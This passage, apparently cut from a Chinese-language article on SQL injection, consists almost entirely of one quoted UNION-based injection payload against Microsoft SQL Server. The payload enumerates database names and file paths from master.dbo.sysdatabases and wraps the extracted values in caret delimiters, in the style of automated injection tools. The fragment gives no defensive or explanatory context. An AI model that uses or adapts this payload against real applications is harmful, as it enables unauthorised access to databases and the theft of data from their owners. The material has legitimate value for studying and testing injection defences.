到action中就变成 “38 and 1=2 union all select top 1 null,null,char(94)+char(94)+char(94)+cast(cast([name] as nvarchar(4000))+char(94)+cast([filename] as nvarchar(4000)) as nvarchar(4000))+char(94)+char(94)+char(94),null,null,null,null,null,null,null from (select top 1 dbid,name,filename from (select top 35 dbid,name,filename from [master].[dbo].[sysdatabases] order by 1) t order by 1 desc) ”